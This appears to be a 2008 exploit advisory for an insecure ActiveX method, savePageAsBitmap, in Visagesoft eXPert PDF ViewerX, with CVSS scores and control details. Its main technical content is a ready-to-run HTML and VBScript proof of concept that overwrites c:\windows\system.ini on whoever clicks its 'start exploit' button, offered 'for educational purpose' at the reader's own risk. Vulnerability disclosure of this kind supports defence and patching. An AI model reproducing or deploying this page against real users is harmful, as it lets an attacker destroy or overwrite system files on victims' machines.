Visagesoft eXPert PDF ViewerX (VSPDFViewerX.ocx) File Overwrite

2008.11.06
Credit: Marco Torti
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 8.8/10
Impact Subscore: 9.2/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Complete
Availability impact: Complete

VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD SITE: http://www.visagesoft.com This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Author: Marco Torti mail: marcotorti2[at]yahoo[dot]com thanks UGIS ################################################################################ FileVersion: 3.0.990.0 CLSID: {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A} Description: Visagesoft PDF Viewer Control ProgID: VSPDFEditorX.VSPDFEdit Marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data Vulnerable method: savePageAsBitmap(ByVal bitmapFileName As String) As Boolean ################################################################################## Vulnerability Description: The "savePageAsBitmap" method doesn't check user supplied arguments so we can save/overwrite a specified file passed as argument, i don't have time, check others functions.... Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7 ################################################################################### <object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object> <input language=VBScript onclick=launch() type=button value='start exploit'> <script language='vbscript'> Sub launch target.savePageAsBitmap "c:\windows\-system.ini" MsgBox"Exploit Completed.. file overwrite!" End Sub </script> ###################################################################################


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